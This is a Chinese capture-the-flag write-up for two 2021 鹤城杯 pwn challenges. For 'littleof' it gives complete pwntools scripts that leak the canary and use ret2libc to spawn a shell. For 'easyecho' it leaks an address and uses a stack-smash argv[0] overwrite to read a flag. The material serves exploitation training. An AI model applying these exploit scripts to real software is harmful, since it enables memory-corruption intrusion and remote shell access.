[2021 鹤城杯]-pwn题

littleof

[2021 鹤城杯]littleof

准备

64 位，开了 canary

分析

main函数

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  sub_4006E2();
  return 0LL;
}

有一个 sub_4006E2 函数

sub_4006E2函数

unsigned __int64 sub_4006E2()
{
  char buf[8]; // [rsp+10h] [rbp-50h] BYREF
  FILE *stdin; // [rsp+18h] [rbp-48h]
  unsigned __int64 v3; // [rsp+58h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  stdin = stdin;
  puts("Do you know how to do buffer overflow?");
  read(0, buf, 0x100uLL);
  printf("%s. Try harder!", buf);
  read(0, buf, 0x100uLL);
  puts("I hope you win");
  return __readfsqword(0x28u) ^ v3;
}

这里 v3 存储 canary 的值
先一个读取输入最大 256(0x100) 个字节到 buf ，但 buf 没这么大，所以存在缓冲区溢出
然后将输入的内容（存储在 buf 中）与固定字符串 . Try harder! 拼接后输出
再次读取输入

思路:

这题开了 canary 保护，只有溢出点，没有连接点和其他，所以绕过 canary 后，打64位的 ret2libc
因为 64 位程序，所以需要寄存器，这里用常用的 puts 函数去打，有一个参数，用 rdi 寄存器，在考虑 64 位的堆栈平衡，也要知道 ret 来填充
用 ROPgadget 指令获取这些数据

然后通过 ida 查看栈情况，获取偏移，并且计算输入点(buf)到 canary 值(v3)的距离

-0000000000000060 // Use data definition commands to manipulate stack variables and arguments.
-0000000000000060 // Frame size: 60; Saved regs: 8; Purge: 0
-0000000000000060
-0000000000000060     // padding byte
-000000000000005F     // padding byte
-000000000000005E     // padding byte
-000000000000005D     // padding byte
-000000000000005C     // padding byte
-000000000000005B     // padding byte
-000000000000005A     // padding byte
-0000000000000059     // padding byte
-0000000000000058     _QWORD var_58;
-0000000000000050     char buf[8];
-0000000000000048     _QWORD var_48;
-0000000000000040     // padding byte
-000000000000003F     // padding byte
-000000000000003E     // padding byte
-000000000000003D     // padding byte
-000000000000003C     // padding byte
-000000000000003B     // padding byte
-000000000000003A     // padding byte
-0000000000000039     // padding byte
-0000000000000038     // padding byte
-0000000000000037     // padding byte
-0000000000000036     // padding byte
-0000000000000035     // padding byte
-0000000000000034     // padding byte
-0000000000000033     // padding byte
-0000000000000032     // padding byte
-0000000000000031     // padding byte
-0000000000000030     // padding byte
-000000000000002F     // padding byte
-000000000000002E     // padding byte
-000000000000002D     // padding byte
-000000000000002C     // padding byte
-000000000000002B     // padding byte
-000000000000002A     // padding byte
-0000000000000029     // padding byte
-0000000000000028     // padding byte
-0000000000000027     // padding byte
-0000000000000026     // padding byte
-0000000000000025     // padding byte
-0000000000000024     // padding byte
-0000000000000023     // padding byte
-0000000000000022     // padding byte
-0000000000000021     // padding byte
-0000000000000020     // padding byte
-000000000000001F     // padding byte
-000000000000001E     // padding byte
-000000000000001D     // padding byte
-000000000000001C     // padding byte
-000000000000001B     // padding byte
-000000000000001A     // padding byte
-0000000000000019     // padding byte
-0000000000000018     // padding byte
-0000000000000017     // padding byte
-0000000000000016     // padding byte
-0000000000000015     // padding byte
-0000000000000014     // padding byte
-0000000000000013     // padding byte
-0000000000000012     // padding byte
-0000000000000011     // padding byte
-0000000000000010     // padding byte
-000000000000000F     // padding byte
-000000000000000E     // padding byte
-000000000000000D     // padding byte
-000000000000000C     // padding byte
-000000000000000B     // padding byte
-000000000000000A     // padding byte
-0000000000000009     // padding byte
-0000000000000008     _QWORD var_8;
+0000000000000000     _QWORD __saved_registers;
+0000000000000008     _UNKNOWN *__return_address;
+0000000000000010
+0000000000000010 // end of stack variables

偏移为 0x50+8(88)
这里的 buf 在这里 -0000000000000050 char buf[8];
v3 在这里 -0000000000000008 _QWORD var_8;
两者间的距离为 0x50-0x8=0x48(72)
就可以利用第一次输入后的 printf 输出，获得 canary 的值

payload=b'a'*68+b'bbbb'
io.sendlineafter(b'Do you know how to do buffer overflow?',payload)
io.recvuntil(b'bbbb\n')
canary=u64(io.recv(7).rjust(8,b'\x00'))
log.success('canary: '+hex(canary))

这里最后的 b'bbbb' 是为了好定位，来下面接收后获得 canary 的值
有了 canary 的值，就正常的打 ret2libc
先获取 puts 函数的地址

from pwn import *
from LibcSearcher import *
context(os='linux',log_level = 'debug',arch='amd64')
io = remote('node4.anna.nssctf.cn',28798)
# io= process('/home/motaly/of')
elf=ELF('/home/motaly/of')

puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main=0x400789
rdi=0x400863
ret=0x40059e

payload=b'a'*68+b'bbbb'
io.sendlineafter(b'Do you know how to do buffer overflow?',payload)
io.recvuntil(b'bbbb\n')
canary=u64(io.recv(7).rjust(8,b'\x00'))
log.success('canary: '+hex(canary))

payload=b'a'*72+p64(canary)+b'a'*8+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.sendlineafter(b'Try harder!',payload)

io.recvuntil(b'I hope you win')
puts_addr=u64(io.recv(7)[-6:].ljust(8,b'\x00'))
log.success('puts_addr: '+hex(puts_addr))

这里前面的填充先给 72 个，然后给一个 canary 的值，来绕过 canary 保护，然后因为总的偏移是 88，所以后面在加一个 8 的填充
通过 puts 函数的地址，得到 libc 基址，进而有了 system 和 /bin/sh

puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main=0x400789
rdi=0x400863
ret=0x40059e

payload=b'a'*68+b'bbbb'
io.sendlineafter(b'Do you know how to do buffer overflow?',payload)
io.recvuntil(b'bbbb\n')
canary=u64(io.recv(7).rjust(8,b'\x00'))
log.success('canary: '+hex(canary))

payload=b'a'*72+p64(canary)+b'a'*8+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.sendlineafter(b'Try harder!',payload)

io.recvuntil(b'I hope you win')
puts_addr=u64(io.recv(7)[-6:].ljust(8,b'\x00'))
log.success('puts_addr: '+hex(puts_addr))

libc=LibcSearcher("puts", puts_addr)
libc_base=puts_addr-libc.dump('puts')
log.success('libc_base: ' + hex(libc_base))
system=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump("str_bin_sh")

最后在同样的执行一遍流程，获得 shell

puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main=0x400789
rdi=0x400863
ret=0x40059e

payload=b'a'*68+b'bbbb'
io.sendlineafter(b'Do you know how to do buffer overflow?',payload)
io.recvuntil(b'bbbb\n')
canary=u64(io.recv(7).rjust(8,b'\x00'))
log.success('canary: '+hex(canary))

payload=b'a'*72+p64(canary)+b'a'*8+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.sendlineafter(b'Try harder!',payload)

io.recvuntil(b'I hope you win')
puts_addr=u64(io.recv(7)[-6:].ljust(8,b'\x00'))
log.success('puts_addr: '+hex(puts_addr))

libc=LibcSearcher("puts", puts_addr)
libc_base=puts_addr-libc.dump('puts')
log.success('libc_base: ' + hex(libc_base))
system=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump("str_bin_sh")

payload=b'a'*68+b'bbbb'
io.sendlineafter(b'Do you know how to do buffer overflow?',payload)

payload=b'a'*72+p64(canary)+b'a'*8+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)
io.sendlineafter(b'Try harder!',payload)

脚本

from pwn import *
from LibcSearcher import *
context(os='linux',log_level = 'debug',arch='amd64')
io = remote('node4.anna.nssctf.cn',28798)
# io= process('/home/motaly/of')
elf=ELF('/home/motaly/of')

puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main=0x400789
rdi=0x400863
ret=0x40059e

payload=b'a'*68+b'bbbb'
io.sendlineafter(b'Do you know how to do buffer overflow?',payload)
io.recvuntil(b'bbbb\n')
canary=u64(io.recv(7).rjust(8,b'\x00'))
log.success('canary: '+hex(canary))

payload=b'a'*72+p64(canary)+b'a'*8+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.sendlineafter(b'Try harder!',payload)

io.recvuntil(b'I hope you win')
puts_addr=u64(io.recv(7)[-6:].ljust(8,b'\x00'))
log.success('puts_addr: '+hex(puts_addr))

libc=LibcSearcher("puts", puts_addr)
libc_base=puts_addr-libc.dump('puts')
log.success('libc_base: ' + hex(libc_base))
system=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump("str_bin_sh")

payload=b'a'*68+b'bbbb'
io.sendlineafter(b'Do you know how to do buffer overflow?',payload)

payload=b'a'*72+p64(canary)+b'a'*8+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)
io.sendlineafter(b'Try harder!',payload)

io.interactive()

easyecho

[2021 鹤城杯]easyecho
参考

准备

64 位，保护全开
这里换源( 2.23-0ubuntu11.3_amd64 )是因为利用 Stack smash 手法，输入点与 argv[0] 间的距离大小会受 libc 环境影响

分析

main函数

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  bool v3; // zf
  __int64 n9; // rcx
  char *v5; // rsi
  const char *backdoor; // rdi
  char buf[16]; // [rsp+0h] [rbp-A8h] BYREF
  int (*sub_CF0_1)(); // [rsp+10h] [rbp-98h]
  char v10[104]; // [rsp+20h] [rbp-88h] BYREF
  unsigned __int64 v11; // [rsp+88h] [rbp-20h]

  v11 = __readfsqword(0x28u);
  sub_DA0();
  sub_F40();
  sub_CF0_1 = sub_CF0;
  puts("Hi~ This is a very easy echo server.");
  puts("Please give me your name~");
  _printf_chk(1LL, "Name: ");
  sub_E40(buf, 16LL);
  _printf_chk(1LL, "Welcome %s into the server!\n", buf);
  do
  {
    while ( 1 )
    {
      _printf_chk(1LL, "Input: ");
      gets(v10);
      _printf_chk(1LL, "Output: %s\n\n", v10);
      n9 = 9LL;
      v5 = v10;
      backdoor = "backdoor";
      do
      {
        if ( !n9 )
          break;
        v3 = *v5++ == *backdoor++;
        --n9;
      }
      while ( v3 );
      if ( !v3 )
        break;
      ((void (__fastcall *)(const char *, char *))sub_CF0_1)(backdoor, v5);
    }
  }
  while ( strcmp(v10, "exitexit") );
  puts("See you next time~");
  return 0LL;
}

先有一个 sub_CF0 函数，是否成功的结果保存赋值给 sub_CF0_1
然后是 name 值的输入，有 sub_E40 函数，参数是 buf 和 16
输入完后会用 _printf_chk 进行输出
接着进入循环，不是输入 exitexit ，就不会停止
循环中的输入点用到 gets 函数，存在缓冲区溢出
并且输入后都会有输出
下面有一个 backdoor 参数，查看发现

是把 backdoor\x00 赋值给了 backdoor 参数
下面程序严格比较输入是否与 backdoor\x00 完全一致
当输入 backdoor\x00 时会调用函数指针 sub_CF0_1，也就是会获得 flag

sub_CF0函数

int sub_CF0()
{
  __int64 v0; // rax
  int fd; // ebx
  unsigned __int64 v3; // [rsp+8h] [rbp-10h]

  v3 = __readfsqword(0x28u);
  if ( unk_2020A0 )
  {
    return __readfsqword(0x28u) ^ v3;
  }
  else
  {
    unk_2020A0 = 1;
    fd = open("./flag", 0);
    if ( fd < 0 )
      perror("open");
    read(fd, &buf_, 0x50uLL);
    LODWORD(v0) = close(fd);
  }
  return v0;
}

把 flag 的内容读取到 buf_ 处，在 bss 段

sub_E40函数

unsigned __int64 __fastcall sub_E40(char *buf, __int64 n16)
{
  ssize_t v4; // rax
  int n11; // eax
  unsigned __int64 v7; // [rsp+8h] [rbp-20h]

  v7 = __readfsqword(0x28u);
  while ( n16 )
  {
    v4 = read(0, buf, 1uLL);
    if ( !v4 )
      break;
    if ( v4 == -1 )
    {
      n11 = *_errno_location();
      if ( n11 != 11 && n11 != 4 )
        return __readfsqword(0x28u) ^ v7;
    }
    else
    {
      if ( *buf == 10 )
      {
        *buf = 0;
        return __readfsqword(0x28u) ^ v7;
      }
      ++buf;
    }
    --n16;
  }
  return __readfsqword(0x28u) ^ v7;
}

这里逐字节读取输入
当遇到换行符 '\n' 时，将其替换为'\0'（字符串结束符）并终止读取
每次成功读取非换行符后，缓冲区指针后移，同时剩余长度计数器递减，严格控制不超过 n16(16) 的限制
输入完后会用 _printf_chk 进行输出
这里会有一个数据泄露问题
这里设定最大输入是 16，当我们写入填满 16 个数据大小且不含换行符时，循环会在读取 16 字节后结束，不会主动添加\0 ，导致buf成为一个未终止的字符串
在后面输出时，因为 printf 字符串函数依赖\0来判断字符串结束位置，所以会读取buf之后的相邻内存数据（属于栈上的其他变量或数据），造成信息泄露

思路:

这题保护全开，有溢出点，flag 可以泄露，每次输入后都会输出，所以可以用 `` 手法进行数据泄露
因为第一个输入点 name 处填满时有一个数据泄露，所以先看一下泄露的数据

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
# io = remote('node7.anna.nssctf.cn', 20508)
io = process('/home/motaly/echo')
elf=ELF('/home/motaly/echo')

io.sendlineafter(b'Name: ', b'a'*16)
# gdb.attach(io)

用 gdb 调试，并查看栈情况


发现这里可以泄露出一个基址

io.sendlineafter(b'Name: ', b'a'*16)
io.recvuntil(b'a'*16)
stack = u64(io.recv(6).ljust(8, b'\x00'))
log.success('stack: '+hex(stack))
pro_base = stack - 0xcf0
log.success('pro_base: '+hex(pro_base))

有了一个栈地址，我们就可以借此来获得 flag 的地址

io.sendlineafter(b'Name: ', b'a'*16)
io.recvuntil(b'a'*16)
stack = u64(io.recv(6).ljust(8, b'\x00'))
log.success('stack: '+hex(stack))
pro_base = stack - 0xcf0
log.success('pro_base: '+hex(pro_base))

io.sendlineafter(b'Input: ', b'backdoor\x00')
# gdb.attach(io)

输入 backdoor 后，flag会被写在 bss 段
再次调试，获得基址与 flag 地址间的距离
(注意：本地调试要记得创建 flag 文件)

得到 flag 地址

io.sendlineafter(b'Name: ', b'a'*16)

io.recvuntil(b'a'*16)
stack = u64(io.recv(6).ljust(8, b'\x00'))
log.success('stack: '+hex(stack))
pro_base = stack - 0xcf0
log.success('pro_base: '+hex(pro_base))

io.sendlineafter(b'Input: ', b'backdoor\x00')
gdb.attach(io)
flag=pro_base+0x202040

最后利用 Stack smash 手法，对 flag 的内容进行泄露
再次调试，获得输入点与 argv[0] 间的距离

io.sendlineafter(b'Name: ', b'a'*16)

io.recvuntil(b'a'*16)
stack = u64(io.recv(6).ljust(8, b'\x00'))
log.success('stack: '+hex(stack))
pro_base = stack - 0xcf0
log.success('pro_base: '+hex(pro_base))

io.sendlineafter(b'Input: ', b'backdoor\x00')

flag=pro_base+0x202040
gdb.attach(io)
payload=b'a'*0x168+p64(flag)
io.sendlineafter(b'Input: ',payload)
io.sendlineafter(b'Input: ',b'exitexit')

要退出循环才能触发 canary

脚本

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
# io = remote('node7.anna.nssctf.cn', 20508)
io = process('/home/motaly/echo')
elf=ELF('/home/motaly/echo')

io.sendlineafter(b'Name: ', b'a'*16)

io.recvuntil(b'a'*16)
stack = u64(io.recv(6).ljust(8, b'\x00'))
log.success('stack: '+hex(stack))
pro_base = stack - 0xcf0
log.success('pro_base: '+hex(pro_base))

io.sendlineafter(b'Input: ', b'backdoor\x00')

flag=pro_base+0x202040
gdb.attach(io)
payload=b'a'*0x168+p64(flag)
io.sendlineafter(b'Input: ',payload)
io.sendlineafter(b'Input: ',b'exitexit')

io.interactive()